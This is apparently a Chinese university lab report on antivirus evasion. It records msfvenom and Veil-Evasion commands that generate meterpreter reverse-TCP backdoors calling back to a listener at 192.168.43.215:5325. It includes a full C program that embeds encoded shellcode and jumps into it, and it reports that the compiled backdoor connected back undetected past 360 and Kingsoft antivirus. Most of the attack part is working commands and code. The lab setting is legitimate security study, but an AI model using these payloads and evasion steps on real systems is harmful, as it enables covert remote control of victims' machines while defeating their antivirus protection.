2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践


实验内容(概要)

一、正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

1. 使用msf编码器生成各种后门程序及检测

msf编码器是非常实用的,但是我的实践表明,直接实用msf生成后门(exe文件)是不容易躲过杀毒的,因此我认为在这场GAME中MSF试用于生成C语言的shellcode。

2. 使用veil-evasion生成后门程序及检测

同msf一样,直接生成exe难以免杀,C语言程序值得借鉴。

3. 半手工注入Shellcode并执行

鉴于自动生成后门程序的失败,半手工生成shellcode,这应该是最稳妥的方法。

二、通过组合应用各种技术实现恶意代码免杀

经过大量的测试,win10系统自带的Windows Defender难以攻破。

(各种组合均未成功,而且我也没找到怎么看自己Windows Defender的版本,实验日期是190329,由于设置了自动更新,安装的应该是此时最新的Windows Defender)

因此,这次实验我只能退而求其次,以360杀毒作为我的对手。

三、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

靶机也不是Windows Defender。。。。。。

详细说明附后。


基础问题回答

一、杀软是如何检测出恶意代码的?

启发式(长得像坏人、干的事情也像坏人就逮捕他!)、基于程序行为检测(实锤这个程序有没有干一些非法的事情)和基于特征码检测(检测壳、检测shellcode、检测编码头部)。

二、免杀是做什么?

免杀就是针对上面说的——杀软的三个检测方法进行伪装,避免杀软被找到,避免攻击进程被拦截或者杀死。

正所谓道高一尺魔高一丈。。。。。

三、免杀的基本方法有哪些?

针对启发式和程序行为检测:附着在正常/合法程序的后面,同时启动,后台运行,尽量让杀软看不出区别;悄悄地进村,开枪的不要,动静尽量小,操作尽量少。

针对特征码检测:用自己的方法让杀软看不出来shellcode,想办法封装。


实验步骤

Before We Start It

使用360杀毒,程序版本:5.0.0.8150

检查更新:目前是最新版本。

一、正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

1. 使用msf编码器生成各种后门程序及检测

1.1 不使用任何伪装

首先在kali输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.215 LPORT=5325 -f exe > 5325-1.exe

当拷贝到主机时发现:被逮捕了。

1.2 用MSF对后门程序进行多次编码

msfvenom要用到的参数,供参考:

  • -a <arch> 设置靶机CPU架构
  • --platform <platform> 设置靶机平台,可以通过--help-platforms选项查看msfvenom支持的所有平台
  • -p <payload> 设置攻击载荷,可以通过-l payloads查看所有攻击载荷
  • -e <encoder> 指定编码器,可以通过-l encoders查看所有编码器
  • -i <count> 指定编码迭代的次数
  • -x <path> 指定模版(合法程序)
  • -k 该选项可以保留模版原来的功能,将payload作为一个新的线程来注入,但不能保证可以用在所有可执行程序上(我失败了)。
  • -f <format> 指定生成格式,可以是raw,exe,elf,jar,c语言的,python的,java的……,用--help-formats查看所有支持的格式

在kali输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.43.215 LPORT=5325 -f exe > 5325-2.exe

拷贝到主机时又被逮捕了。

所以说直接生成exe是不行的,msfvenom肯定被很多杀软研究过,他生成的exe应该有一定特征(被杀软找到了并且作为特征码查杀)

即使多次编码,就死盯解码部分,那么理论上说,这样是无论如何都行不通的。

这道理我我我我我说不清楚,可以看孙晓暄学姐的博客(瞧瞧这话说的多么有水平!我这文盲语文水平就说不出来)

别问,问就是牛逼。

同样的事情也会发生在jar身上;

在kali输入msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.1.207 LPORT=5325 -f jar> 5325-8.jar

2. 使用veil-evasion生成后门程序及检测

基于msfvenom的经验,我猜这样是行不通的(先奶一口)。

veil的安装我就不写了,我记得我就sudo apt-get install veil-evasion就好了,可能我那会儿突然欧气了吧,幸运地没有遇到问题。

kali输入veil进入;

接着:Veil>: use Evasion

然后:Veil/Evasion>: list

能看见:

===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================


 [*] Available Payloads:

	1)	autoit/shellcode_inject/flat.py

	2)	auxiliary/coldwar_wrapper.py
	3)	auxiliary/macro_converter.py
	4)	auxiliary/pyinstaller_wrapper.py

	5)	c/meterpreter/rev_http.py
	6)	c/meterpreter/rev_http_service.py
	7)	c/meterpreter/rev_tcp.py
	8)	c/meterpreter/rev_tcp_service.py

	9)	cs/meterpreter/rev_http.py
	10)	cs/meterpreter/rev_https.py


        //后面还有很多

紧接着:Veil/Evasion>: use 7

7就是c/meterpreter/rev_tcp.py,然后设置如下即可生成:

[c/meterpreter/rev_tcp>>]: set LPORT 5325
[c/meterpreter/rev_tcp>>]: set LHOST 192.168.43.215
[c/meterpreter/rev_tcp>>]: generate 

起个名:

[>] Please enter the base name for output files (default is payload): 5325-3

回车就ok了:

===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

 [*] Language: c
 [*] Payload Module: c/meterpreter/rev_tcp
 [*] Executable written to: /var/lib/veil/output/compiled/5325-3.exe
 [*] Source code written to: /var/lib/veil/output/source/5325-3.c
 [*] Metasploit Resource file written to: /var/lib/veil/output/handlers/5325-3.rc

Hit enter to continue...

你可以看见,已经生成exe文件到/var/lib/veil/output/compiled/5325-3.exe目录下面了。

拷贝到主机就又被逮捕了。。。。。

3. 半手工注入Shellcode并执行

半手工就是说自己编译执行。

首先在上面veil有一个文件是c语言的( [*] Source code written to: /var/lib/veil/output/source/5325-3.c),可以拷贝到主机看看。

尝试用CB、VC、mingw编译均失败了,报错为 undefined reference to `WSAStartup@8'之类的。

我发现后门的源代码中使用了socket套接字,mingw手工编译时需要链接ws2_32库,输入指令,gcc 5325-3.c -o 5325.exe -lws2_32编译成功。

后面回连成功,没有拦截:

垃圾360:

还有一种方法:使用msfvenom

kali输入:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.43.215 LPORT=5325 -f c生成C语言的代码。

在vc里面运行:

#include "stdafx.h"

#include <windows.h>
#include <stdio.h>
 
//data段可读写
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = 
"xdbxdexbbx21x8cxc5x6bxd9x74x24xf4x5fx31xc9xb1"
"x93x83xefxfcx31x5fx13x03x7ex9fx27x9ex3ax9dx62"
"x15xe9x7bxabx0fx79x58xc0xeexb0x69x99x83x83x3f"
"xc9x98xb5xacx6ex58x3fxf4xf1x0cxd0x06x92xe7x1c"
"x35xf8xb9x88x8ex15xbbx71xf7x35x5fx6bx8ax69xcb"
"x73x88xabx55xa8xddx80xa4x97xabx28x98x26x8ax3b"
"x8cxdex8axa5x87x88x52x17x21x76xe7x32x62x1bx32"
"xf8x9cxb3xd0x03xafxd0x50xa5x1ax3fx26x35xf5x9e"
"x25x17xd0xbbxfcx61x8dxa5xdfxfdx13x8cxc4x92xeb"
"xf4xc3x87x6ex74x98xadxeex0cx1bx01x92x44x89xf6"
"x3cx93x01xf1x8cxb3x5exc8x66xffx97x22x51x1fx65"
"x93x83x4ax72x90x49x5ex90x2ax38x3fxe5xf1x79x0a"
"xb7x51xe5xb7x84x3dxafx0exdfxfcx74x86x9dx59xad"
"x3axbbx11x33x7axc6x62x5cxf9x02xcdx0axebxb1xd3"
"x8axa2x0dxfaxf8xecx37xdfxadxfbx0cx4bxd7xc9xab"
"x51xd7x4ax99x38x99x5bx6bx72x61x66x8fx72xd0xbd"
"x47x34x70xd4x5ex71x0dx56x4dxd0xaaxebx80x12x51"
"x50x30xaex24xc2x76x68xd4x12xb5x66x34xfdx6fx2e"
"xcex42xf5x7axcdxffxa2x3cx4dxdax69x74xa4x1ax8c"
"x85xd0x38xd6x7exb8x4ex3cxd7xbex35xf0x95x81x82"
"xabx56xcbx39xa9x74x39x25xe6xefxb1x9exd9x43x36"
"x91xecx30x72xc1x83x05x25x03xfcxd0xbfxc2x08x80"
"x36xd2x61xd8x9fxc3x01x69xd1x26x4ax08x4ax38xa2"
"x8ex73x81xcex43x5fx54x68xe2x4ax59xabx5cx5bxaa"
"xc5x1exc0x57x75x3bxd2x5bxccx0dx8exaex0axd6xbe"
"x60x79xd1xd6x1fx0dxa4x80x8excax62x94xc4x24x50"
"xa0xdfx26x1cx5axe0x3dx6cx0axfbx6bxc9x60x23xa8"
"x09xb8xfcxb4x1bx67x6cx19x4ex1ex8exe1x46x39xc5"
"xc9x08x9bx02x89x74x11xb1xf5x34x0ax28x89xe4x24"
"x5ax68xc5xdfxa2xafx65xecx59x47x93x85x9exaex61"
"xe0xf4x75xb6x24xc3x30xd6xcax32x41x50x4bx3bxa1"
"xfax30x92xb4xf8x62x18x46xdbx8bx61xa0x9cx1cx67"
"x6fx69x24x3dxb8x5dxb3x5cx53x75xa9x48x71x2fx0a"
"x90x87xb7x32x6cx5fxbax2dx6ex9fx2fxfcxf1x9exfb"
"x48xbex97xf7xe3xb7x55x78x28xebxd3xcfxbcx80x9b"
"xa8x03x9dxc1x28xe6x45x99x84xb2xcaxb7x44x90xde"
"xd7x40xd4x4cx4ax70x3ax15xa1xcdx20x79x26xdcx77"
"x9exeax4ex48x1fx57xd0x44x8bx20x1ax87x5cxe2xdf"
"x8axb8x3exb5x34xafxbcx82xc9x3dx9dx88x2fx6fxde"
"xd0xc8x19x3ax6ax96xcex6ax05xcfx41x79x74x11xd2"
"x94x38xbaxdbx22xc6x70x3bxffx5cxde";


int main(){
	__asm
	{
		lea eax, buf;
		jmp eax;
	}
	return 0;
}

再次回连成功:

查不出来,稳得一批。


用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

靶机金山毒霸,回连成功。


心得体会

首先我想说一句,这个东西,很有可能,今天成了,明天就不成功了。

是真的啊,真的可怕。

所以以后不能随便传上网扫了。

还有就是Windows defender牛逼,怎么都成功不了。但是太过敏感的杀软,用户体验也不好,所以呢这可能存在一个平衡吧我猜。

另外,除了后门的生成,后门如何启动也是一个问题。。。。。

最后,我想说,我好菜啊。。。。。

原文地址:https://www.cnblogs.com/maxeysblog/p/10630362.html